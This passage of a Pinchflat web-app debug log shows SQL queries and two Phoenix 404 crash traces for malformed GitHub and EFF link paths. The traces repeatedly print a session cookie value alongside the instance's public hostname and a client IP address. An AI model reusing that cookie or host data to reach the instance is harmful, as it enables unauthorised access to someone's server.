regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:17:44.672 [info] Sent 200 in 90ms 21:17:44.856 [info] GET /media_profiles 21:17:44.856 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:17:44.862 [debug] QUERY OK source="media_profiles" db=2.3ms queue=0.1ms idle=261.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:17:44.869 [debug] QUERY OK source="settings" db=2.2ms queue=0.2ms idle=263.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.871 [debug] QUERY OK source="settings" db=0.9ms queue=0.5ms idle=263.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.879 [debug] QUERY OK source="settings" db=4.3ms idle=231.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.885 [info] Sent 200 in 29ms 21:17:44.985 [info] GET /sources/6/media/76348 21:17:44.987 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76348", "source_id" => "6"} Pipelines: [:browser] 21:17:44.989 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=334.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76348] 21:17:44.994 [debug] QUERY OK source="sources" db=0.4ms idle=124.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:45.041 [debug] QUERY OK source="tasks" db=47.4ms idle=131.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76348] 21:17:45.061 [debug] QUERY OK source="oban_jobs" db=15.5ms queue=1.4ms idle=173.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1972] 21:17:45.065 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=184.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.069 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=76.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.075 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=77.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.081 [debug] QUERY OK source="media_profiles" db=1.3ms idle=39.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:17:45.097 [info] GET /settings 21:17:45.097 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 21:17:45.101 [debug] QUERY OK source="settings" db=1.0ms queue=0.7ms idle=38.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.105 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=38.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.110 [debug] QUERY OK source="settings" db=4.4ms idle=36.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.114 [debug] QUERY OK source="settings" db=1.6ms queue=0.2ms idle=39.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.120 [info] Sent 200 in 22ms 21:17:45.137 [info] Sent 200 in 152ms 21:17:45.177 [info] GET /https%3A/github.com/kieraneglin/pinchflat/wiki 21:17:45.178 [debug] QUERY OK source="settings" db=0.2ms idle=95.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.178 [debug] QUERY OK source="settings" db=0.2ms idle=76.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.178 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:45.180 [error] #PID<0.11465.0> running PinchflatWeb.Endpoint (connection #PID<0.11453.0>, stream id 6) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat/wiki ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/wiki (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11465.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat", "wiki"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4E5fvnMKHbMAAMAh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/wiki (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:17:45.199 [info] GET /app_info 21:17:45.200 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 21:17:45.205 [debug] QUERY OK source="settings" db=2.8ms idle=96.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.206 [debug] QUERY OK source="settings" db=0.7ms idle=95.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.208 [debug] QUERY OK source="settings" db=0.7ms idle=92.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.211 [debug] QUERY OK source="settings" db=0.6ms queue=0.8ms idle=31.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.213 [debug] QUERY OK source="settings" db=1.1ms queue=0.4ms idle=32.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.217 [info] Sent 200 in 17ms 21:17:45.244 [info] GET /https%3A/supporters.eff.org/donate 21:17:45.246 [info] GET /https%3A/github.com/kieraneglin/pinchflat 21:17:45.246 [debug] QUERY OK source="settings" db=2.1ms idle=39.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.249 [debug] QUERY OK source="settings" db=1.6ms queue=0.2ms idle=40.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.249 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:45.256 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=46.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.251 [error] #PID<0.11467.0> running PinchflatWeb.Endpoint (connection #PID<0.11453.0>, stream id 8) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/supporters.eff.org/donate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/supporters.eff.org/donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11467.0>, params: %{}, path_info: ["https%3A", "supporters.eff.org", "donate"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/supporters.eff.org/donate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4FJaSwpqhN0AAMBh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/supporters.eff.org/donate (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/supporters.eff.org/donate", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", (truncated) 21:17:45.259 [debug] QUERY OK source="settings" db=1.3ms decode=0.2ms queue=0.6ms idle=45.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:45.265 [debug] Converted error 